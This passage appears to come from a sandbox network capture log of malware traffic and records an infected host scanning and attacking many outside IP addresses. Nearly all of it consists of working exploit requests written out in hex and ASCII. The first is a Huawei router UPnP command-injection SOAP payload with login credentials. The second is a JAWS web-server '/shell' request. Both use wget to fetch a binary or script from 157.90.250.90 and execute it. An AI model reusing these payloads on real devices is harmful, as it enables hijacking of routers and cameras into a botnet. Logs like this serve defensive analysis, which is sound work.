78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:29.356627941 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:31.212368011 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:34.955811024 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:42.378771067 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:57.224679947 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:27.684396982 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	42602	198.44.248.104	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.798165083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:28.125873089 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:27:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	50982	144.126.206.157	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:28.177953005 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	40796	86.181.28.252	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:28.186813116 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	53078	104.69.218.34	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.590605021 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:30.747637033 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:30 GMT Date: Tue, 02 Jan 2024 05:24:30 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 65 62 65 66 37 34 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 37 30 26 23 34 36 3b 63 37 65 37 33 30 65 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5ebef748.1704173070.c7e730ec</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	50120	104.230.152.225	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.618083954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:30.792844057 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:31.670048952 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:32.722330093 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:34.830550909 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:39.038703918 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:47.470043898 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	35348	75.187.170.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.620215893 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.23	58122	198.204.78.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.686985016 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.23	58690	104.21.5.88	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:30.711854935 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

